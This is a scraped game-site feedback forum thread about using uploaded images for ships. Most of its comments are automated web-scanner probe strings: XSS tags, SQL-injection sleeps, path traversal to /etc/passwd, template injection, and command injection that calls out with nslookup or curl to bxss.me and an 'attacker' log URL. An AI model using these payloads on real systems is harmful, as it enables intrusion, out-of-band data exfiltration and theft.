Feedback

Image for ship by wombat - 152 months ago

Use an uploaded image for a ship instead of using the designer

• Ram

  How?

• Jrsaw27

  set boundaries using the designer and instead of the white space, paste image, stretched of course, not tiled. However I like the white space, quick loads and kind of a throw back to asteroids

• Tartaglionepitt2015

  dsaasa

• Tartaglionepitt2015

  sfsfdsdsdsds

• Tartaglionepitt2015

  dsdsdsds

• Tartaglionepitt2015

  bello

• Tartaglionepitt2015

  eerer

• Tartaglionepitt2015

  ererere

• 337426180900138

  Supar

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CFTiA085nO

• 1DNFL8kTA8O

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• Anonymous

  1

• WfxYANoW

  ${9999229+9999707}

• ${10000442+9999378}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  /etc/shells

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  echo rshkhp$()\ dtkdbt\nz^xyu||a #' &echo rshkhp$()\ dtkdbt\nz^xyu||a #|" &echo rshkhp$()\ dtkdbt\nz^xyu||a #

• WfxYANoW

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  response.write(9789970*9938449)

• WfxYANoW

  bxss.me

• WfxYANoW

  ../1

• WfxYANoW

  &echo lgnyfm$()\ kdptnq\nz^xyu||a #' &echo lgnyfm$()\ kdptnq\nz^xyu||a #|" &echo lgnyfm$()\ kdptnq\nz^xyu||a #

• WfxYANoW

  '+response.write(9789970*9938449)+'

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  1&echo zqjhkv$()\ rwkeek\nz^xyu||a #' &echo zqjhkv$()\ rwkeek\nz^xyu||a #|" &echo zqjhkv$()\ rwkeek\nz^xyu||a #

• WfxYANoW

  "+response.write(9789970*9938449)+"

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  |echo vfhhxg$()\ lrjfdr\nz^xyu||a #' |echo vfhhxg$()\ lrjfdr\nz^xyu||a #|" |echo vfhhxg$()\ lrjfdr\nz^xyu||a #

• file:///etc/passwd

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• response.write(9071776*9857325)

  1

• WfxYANoW

  1

• /etc/shells

  1

• WfxYANoW

  1|echo cwzvoq$()\ smxqhy\nz^xyu||a #' |echo cwzvoq$()\ smxqhy\nz^xyu||a #|" |echo cwzvoq$()\ smxqhy\nz^xyu||a #

• ../WfxYANoW

  1

• WfxYANoW

  (nslookup -q=cname hitpnztjsqpswa5139.bxss.me||curl hitpnztjsqpswa5139.bxss.me))

• '+response.write(9071776*9857325)+'

  1

• WfxYANoW

  $(nslookup -q=cname hitmwsexykqsj3b81c.bxss.me||curl hitmwsexykqsj3b81c.bxss.me)

• "+response.write(9071776*9857325)+"

  1

• WfxYANoW

  aim30NKg

• c:/windows/win.ini

  1

• WfxYANoW

  4MDWOOXA: zDabFEPx

• WfxYANoW

  &nslookup -q=cname hitgmchqahedc8a750.bxss.me&'\"`0&nslookup -q=cname hitgmchqahedc8a750.bxss.me&`'

• PKluWsIg

  1

• bxss.me

  1

• WibMuVON: xEOznv8f

  1

• SFM2RjV0ZXU=

  1

• WfxYANoW

  &(nslookup -q=cname hitszuykowoos30c30.bxss.me||curl hitszuykowoos30c30.bxss.me)&'\"`0&(nslookup -q=cname hitszuykowoos30c30.bxss.me||curl hitszuykowoos30c30.bxss.me)&`'

• WfxYANoW

  1&n947699=v960760

• WfxYANoW

  )

• WfxYANoW

  |(nslookup -q=cname hitpnnhwhoetdfbc7a.bxss.me||curl hitpnnhwhoetdfbc7a.bxss.me)

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW&n938622=v933763

  1

• WfxYANoW

  `(nslookup -q=cname hithfzoizihorca5ee.bxss.me||curl hithfzoizihorca5ee.bxss.me)`

• WfxYANoW

  ^(#$!@#$)(()))******

• )

  1

• WfxYANoW

  ;(nslookup -q=cname hitzxfyjyyron1c23d.bxss.me||curl hitzxfyjyyron1c23d.bxss.me)|(nslookup -q=cname hitzxfyjyyron1c23d.bxss.me||curl hitzxfyjyyron1c23d.bxss.me)&(nslookup -q=cname hitzxfyjyyron1c23d.bxss.me||curl hitzxfyjyyron1c23d.bxss.me)

• WfxYANoW

  '.gethostbyname(lc('hitvm'.'lzcmdhwj38a75.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(65).chr(106).chr(71).'

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitltsxtyxgme90b82.bxss.me||curl${IFS}hitltsxtyxgme90b82.bxss.me)

• WfxYANoW

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitpnxystnyaib6417.bxss.me||curl${IFS}hitpnxystnyaib6417.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpnxystnyaib6417.bxss.me||curl${IFS}hitpnxystnyaib6417.bxss.me)&`'

• !(()&&!|*|*|

  1

• WfxYANoW

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  ".gethostbyname(lc("hitbs"."nryjdlzh37f86.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(77).chr(114).chr(70)."

• WfxYANoW

  gethostbyname(lc('hitao'.'fpkfscbc2b01b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(83).chr(100).chr(75)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  '"()

• WfxYANoW

  1'&&sleep(27*1000)*xpwvah&&'

• WfxYANoW

  1"&&sleep(27*1000)*ddajwj&&"

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  1'||sleep(27*1000)*haqgqb||'

• WfxYANoW

  1"||sleep(27*1000)*kzozez||"

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ';print(md5(31337));$a='

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1

• ";print(md5(31337));$a="

  1

• xfs.bxss.me

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  '"

• ${@print(md5(31337))}\

  1

• WfxYANoW

  <!--

• '.print(md5(31337)).'

  1

• '"()

  1

• '"

  1

• WfxYANoW'&&sleep(27*1000)*aasuza&&'

  1

• <!--

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >R1nq(9040)</ScRiPt>

• WfxYANoW"&&sleep(27*1000)*mtirfw&&"

  1

• WfxYANoW'||sleep(27*1000)*kexkiy||'

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  '"()&%<zzz><ScRiPt >R1nq(9454)</ScRiPt>

• WfxYANoW"||sleep(27*1000)*qzrvez||"

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  comment

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(108).concat(89).concat(109).concat(81)+(require"socket" Socket.gethostbyname("hitrf"+"hwksxcspb3734.bxss.me.")[3].to_s)+"

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(105).concat(69).concat(100).concat(88)+(require'socket' Socket.gethostbyname('hitwi'+'muqwdcsaef1b7.bxss.me.')[3].to_s)+'

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  19282109

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment/.

• WfxYANoW

  bfg4771＜s1﹥s2ʺs3ʹhjl4771

• comment

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(120).concat(69).concat(99).concat(70)+(require'socket' Socket.gethostbyname('hitoh'+'fngbmzlla4cf0.bxss.me.')[3].to_s)

• comment

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >R1nq(9991)</ScRiPt>

• WfxYANoW

  1<WT7GEO>PIDXR[!+!]</WT7GEO>

• WfxYANoW

  1<script>R1nq(9030)</script>

• WfxYANoW

  1<script>R1nq(9113)</script>9113

• WfxYANoW

  1<ScR<ScRiPt>IpT>R1nq(9966)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >R1nq(9360)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9031></ScRiPt>

• WfxYANoW

  1<ScRiPt >R1nq(9222)</ScRiPt>

• WfxYANoW

  1nUdOhARQ

• WfxYANoW

  1<isindex type=image src=1 onerror=R1nq(9510)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9545'>

• WfxYANoW

  1<body onload=R1nq(9919)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=R1nq(9306)>

• WfxYANoW

  1<img src=xyz OnErRor=R1nq(9984)>

• WfxYANoW

  1<img/src=">" onerror=alert(9244)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%52%31%6E%71%289215%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\R1nq(9480)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;R1nq(9220)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=R1nq(9827)>

• WfxYANoW

  1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1 OR 2+311-311-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+200-200-1=0+0+0+1

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1' OR 2+411-411-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(R1nq(9383))}

• WfxYANoW

  1XQG9Y <ScRiPt >R1nq(9243)</ScRiPt>

• WfxYANoW

  -1' OR 2+22-22-1=0+0+0+1 or 'cawvwLC0'='

• WfxYANoW

  1<W0SRVK>1W82N[!+!]</W0SRVK>

• WfxYANoW

  -1" OR 2+87-87-1=0+0+0+1 --

• WfxYANoW

  1<ifRAme sRc=9330.com></IfRamE>

• WfxYANoW

  1<atL4szV x=9986>

• WfxYANoW

  1<img sRc='http://attacker-9844/log.php?

• WfxYANoW

  1<aEOWfjA<

• WfxYANoW'"()&%<zzz><ScRiPt >R1nq(9246)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >R1nq(9084)</ScRiPt>

  1

• WfxYANoW9962396

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• bfg9935＜s1﹥s2ʺs3ʹhjl9935

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >R1nq(9863)</ScRiPt>

  1

• WfxYANoW<WUK02U>7CXYI[!+!]</WUK02U>

  1

• WfxYANoW<script>R1nq(9109)</script>

  1

• WfxYANoW<script>R1nq(9590)</script>9590

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ScRiPt >R1nq(9460)</ScRiPt>

  1

• WfxYANoW<ScRiPt >R1nq(9534)</ScRiPt>

  1

• WfxYANoW<body onload=R1nq(9366)>

  1

• WfxYANoW<img src=xyz OnErRor=R1nq(9217)>

  1

• WfxYANoW<img/src=">" onerror=alert(9692)>

  1

• WfxYANoW\u003CScRiPt\R1nq(9141)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;R1nq(9947)&lt;/sCripT&gt;

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<input autofocus onfocus=R1nq(9761)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(R1nq(9535))}

  1

• WfxYANoWs3mPB <ScRiPt >R1nq(9462)</ScRiPt>

  1

• WfxYANoW<WWEL8Y>SE14L[!+!]</WWEL8Y>

  1

• WfxYANoW<ifRAme sRc=9428.com></IfRamE>

  1

• WfxYANoW<aoydWPF x=9954>

  1

• WfxYANoW<img sRc='http://attacker-9468/log.php?

  1

• WfxYANoW<aVQ4hxB<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1zxoAcPAf'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 122=(SELECT 122 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 722=(SELECT 722 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 140=(SELECT 140 FROM PG_SLEEP(15))--

• WfxYANoW

  1NChydJO9' OR 730=(SELECT 730 FROM PG_SLEEP(15))--

• WfxYANoW

  19vhhRYfy') OR 373=(SELECT 373 FROM PG_SLEEP(15))--

• WfxYANoW

  11AJrEGy2')) OR 102=(SELECT 102 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@0Ysko

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW4mVLVBjS

  1

• WfxYANoW

  1

• -1 OR 2+250-250-1=0+0+0+1 --

  1

• -1 OR 2+850-850-1=0+0+0+1

  1

• -1' OR 2+768-768-1=0+0+0+1 --

  1

• -1' OR 2+109-109-1=0+0+0+1 or 'qQm4qj4X'='

  1

• -1" OR 2+302-302-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW5UDvyVvj'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@8j5jn

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• jsnxyrit

  1

• jivrpsej

  response.write(9982387*9774561)

• jivrpsej

  '+response.write(9982387*9774561)+'

• ddgpbrlf

  1

• jivrpsej

  "+response.write(9982387*9774561)+"

• ddgpbrlf

  1

• gduvmvyi

  set|set&set

• response.write(9357369*9858598)

  1

• ddgpbrlf

  ivQ8jwl1

• gduvmvyi

  $(nslookup p9Wmb03J)

• '+response.write(9357369*9858598)+'

  1

• ddgpbrlf

  -1 OR 2+400-400-1=0+0+0+1 --

• gduvmvyi

  &nslookup riXUXbUr&'\"`0&nslookup riXUXbUr&`'

• "+response.write(9357369*9858598)+"

  1

• ddgpbrlf

  -1 OR 2+53-53-1=0+0+0+1

• set|set&set

  1

• ycwthhmi

  Y0EBAqbU

• ddgpbrlf

  -1' OR 2+51-51-1=0+0+0+1 --

• $(nslookup EntwXpgb)

  1

• 9HaOv8Uz

  1

• ehgjrpae

  ../../../../../../../../../../etc/passwd

• ddgpbrlf

  -1' OR 2+676-676-1=0+0+0+1 or 'rIocbPEX'='

• &nslookup yyZW9eWB&'\"`0&nslookup yyZW9eWB&`'

  1

• ckdqnetu

  1

• ehgjrpae

  ../../../../../../../../../../../../../../../proc/version

• ddgpbrlf

  -1" OR 2+476-476-1=0+0+0+1 --

• majbckdd

  ${10000190+9999725}

• kyootsvp

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ehgjrpae

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• cmtqS2xnbU8=

  1

• ddgpbrlf

  if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

• ${9999559+9999195}

  1

• kyootsvp

  1some_inexistent_file_with_long_name.jpg

• ehgjrpae

  ../../../../../../../../../../etc/passwd.jpg

• wikhkodb

  1&n956311=v982444

• ddgpbrlf

  (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

• rsulohwx

  )

• kyootsvp

  Http://testasp.vulnweb.com/t/fit.txt

• ehgjrpae

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ddgpbrlf

  -1; waitfor delay '0:0:6' --

• rsulohwx

  !(()&&!|*|*|

• kyootsvp

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ckdqnetu

  1

• ehgjrpae

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• xhekprfo&n983910=v950540

  1

• ddgpbrlf

  -1); waitfor delay '0:0:9' --

• rsulohwx

  ^(#$!@#$)(()))******

• kyootsvp

  testasp.vulnweb.com

• Anonymous

  1

• ehgjrpae

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• ddgpbrlf

  1 waitfor delay '0:0:9' --

• )

  1

• ehgjrpae

  /etc/passwd

• ddgpbrlf

  ZZwIWMIV'; waitfor delay '0:0:9' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• ehgjrpae

  %2fetc%2fpasswd

• vmtbuyob

  ;print(md5(acunetix_wvs_security_test));

• dgjqmeox

  '"()

• ddgpbrlf

  -1;select pg_sleep(9); --

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• iitovxtu

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• ehgjrpae

  /.././.././.././.././.././.././.././../etc/./passwd%00

• vmtbuyob

  ';print(md5(acunetix_wvs_security_test));$a='

• ddgpbrlf

  -1);select pg_sleep(3); --

• ykohxpnt

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• ehgjrpae

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• vmtbuyob

  ";print(md5(acunetix_wvs_security_test));$a="

• '"()

  1

• ddgpbrlf

  -1);select pg_sleep(0); --

• ykohxpnt

  comment

• testasp.vulnweb.com

  1

• flmlgvwf

  http://hit7hEBR4RQPu.bxss.me/

• ehgjrpae

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• vmtbuyob

  ${@print(md5(acunetix_wvs_security_test))}

• axwnpnbf

  1

• ddgpbrlf

  -1));select pg_sleep(3); --

• ykohxpnt

  comment

• bdpdpaxl

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• http://hit5ReBc8hYQE.bxss.me/

  1

• vmtbuyob

  ${@print(md5(acunetix_wvs_security_test))}\

• axwnpnbf

  1'"

• ddgpbrlf

  -1));select pg_sleep(0); --

• ykohxpnt

  comment/.

• octjolgo

  /www.vulnweb.com

• ehgjrpae

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• ;print(md5(acunetix_wvs_security_test));

  1

• ddgpbrlf

  0oblTPaj';select pg_sleep(3); --

• axwnpnbf

  \

• ykohxpnt

  1

• fcdabpbd

  '"

• /www.vulnweb.com

  1

• ehgjrpae

  file:///etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• ddgpbrlf

  IcFPWo3b';select pg_sleep(6); --

• comment

  1

• fcdabpbd

  <!--

• brkypmfo

  1'"()&%<acx><ScRiPt >Q4Gq(9129)</ScRiPt>

• ehgjrpae

  /\../\../\../\../\../\../\../etc/passwd

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• ddgpbrlf

  zibbaNtU');select pg_sleep(3); --

• axwnpnbf

  @@ZS5LA

• comment

  1

• '"

  1

• ehgjrpae

  WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• ddgpbrlf

  O7wntQst');select pg_sleep(9); --

• axwnpnbf

  JyI=

• comment/.

  1

• <!--

  1

• ehgjrpae

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• ddgpbrlf

  q80Cdqxe'));select pg_sleep(6); --

• brkypmfo

  '"()&%<acx><ScRiPt >Q4Gq(9557)</ScRiPt>

• ehgjrpae

  WEB-INF\web.xml

• ddgpbrlf

  1

• ../../../../../../../../../../etc/passwd

  1

• ddgpbrlf

  1

• brkypmfo

  1_9640

• axwnpnbf

  (select convert(int,CHAR(65)))

• OTmy88SO

  1

• axwnpnbf

  1

• -1 OR 2+924-924-1=0+0+0+1 --

  1

• 1'"

  1

• brkypmfo

  acu5183＜s1﹥s2ʺs3ʹuca5183

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+696-696-1=0+0+0+1

  1

• \

  1

• -1' OR 2+348-348-1=0+0+0+1 --

  1

• -1' OR 2+52-52-1=0+0+0+1 or 'UE6Tqpvk'='

  1

• @@eLIKS

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1" OR 2+135-135-1=0+0+0+1 --

  1

• JyI=

  1

• brkypmfo

  {{9999520*10000285}}

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• brkypmfo

  1<ScRiPt >Q4Gq(9018)</ScRiPt>

• 1 waitfor delay '0:0:4' --

  1

• (select convert(int,CHAR(65)))

  1

• JjsN6sRG'; waitfor delay '0:0:4' --

  1

• lI21apYc';select pg_sleep(4); --

  1

• brkypmfo

  1<WFGZR4>SJBWB[!+!]</WFGZR4>

• QbQjnyBp');select pg_sleep(9); --

  1

• ut9Twn5z'));select pg_sleep(9); --

  1

• brkypmfo

  1<script>Q4Gq(9859)</script>

• file:///etc/passwd

  1

• brkypmfo

  1<ScR<ScRiPt>IpT>Q4Gq(9169)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• brkypmfo

  1<ScRiPt >Q4Gq(9360)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• brkypmfo

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9491></ScRiPt>

• brkypmfo

  1<ScRiPt >Q4Gq(9150)</ScRiPt>

• brkypmfo

  1<video><source onerror="javascript:Q4Gq(9464)">

• brkypmfo

  1<isindex type=image src=1 onerror=Q4Gq(9300)>

• brkypmfo

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9708'>

• brkypmfo

  1<body onload=Q4Gq(9785)>

• brkypmfo

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=Q4Gq(9976)>

• brkypmfo

  1<img src=xyz OnErRor=Q4Gq(9434)>

• brkypmfo

  1<img/src=">" onerror=alert(9587)>

• brkypmfo

  %31%3C%53%63%52%69%50%74%20%3E%51%34%47%71%289759%29%3C%2F%73%43%72%69%70%54%3E

• brkypmfo

  1\u003CScRiPt\Q4Gq(9090)\u003C/sCripT\u003E

• brkypmfo

  1&lt;ScRiPt&gt;Q4Gq(9467)&lt;/sCripT&gt;

• brkypmfo

  1<input autofocus onfocus=Q4Gq(9145)>

• brkypmfo

  <a HrEF=http://www.vulnweb.com></a>

• brkypmfo

  <a HrEF=jaVaScRiPT:>

• brkypmfo

  [url=http://www.vulnweb.com][/url]

• brkypmfo

  1<img<!-- --> src=x onerror=alert(9788);//><!-- -->

• brkypmfo

  1}body{acu:Expre/**/SSion(Q4Gq(9107))}

• brkypmfo

  1<% contenteditable onresize=Q4Gq(9428)>

• brkypmfo

  1_oVqeJ <ScRiPt >Q4Gq(9166)</ScRiPt>

• brkypmfo

  1<WFTXMV>0GKUI[!+!]</WFTXMV>

• brkypmfo

  1<ifRAme sRc=9324.com></IfRamE>

• brkypmfo

  1<EN5Q9I x=9297>

• brkypmfo

  1<img sRc='http://attacker-9724/log.php?

• brkypmfo'"()&%<acx><ScRiPt >Q4Gq(9245)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >Q4Gq(9960)</ScRiPt>

  1

• brkypmfo_9117

  1

• acu3288＜s1﹥s2ʺs3ʹuca3288

  1

• {{9999308*9999874}}

  1

• brkypmfo<ScRiPt >Q4Gq(9993)</ScRiPt>

  1

• brkypmfo<W5V5OB>PWVAM[!+!]</W5V5OB>

  1

• brkypmfo<script>Q4Gq(9526)</script>

  1

• brkypmfo<ScRiPt >Q4Gq(9856)</ScRiPt>

  1

• brkypmfo<ScRiPt >Q4Gq(9864)</ScRiPt>

  1

• brkypmfo<body onload=Q4Gq(9043)>

  1

• brkypmfo<img src=xyz OnErRor=Q4Gq(9770)>

  1

• brkypmfo<img/src=">" onerror=alert(9322)>

  1

• brkypmfo\u003CScRiPt\Q4Gq(9697)\u003C/sCripT\u003E

  1

• brkypmfo&lt;ScRiPt&gt;Q4Gq(9488)&lt;/sCripT&gt;

  1

• brkypmfo<input autofocus onfocus=Q4Gq(9651)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• brkypmfo}body{acu:Expre/**/SSion(Q4Gq(9076))}

  1

• brkypmfo<% contenteditable onresize=Q4Gq(9741)>

  1

• brkypmfo_Fe9ao <ScRiPt >Q4Gq(9498)</ScRiPt>

  1

• brkypmfo<WXCPPH>HK5KQ[!+!]</WXCPPH>

  1

• brkypmfo<ifRAme sRc=9434.com></IfRamE>

  1

• brkypmfo<xxR9GJ x=9256>

  1

• brkypmfo<img sRc='http://attacker-9972/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
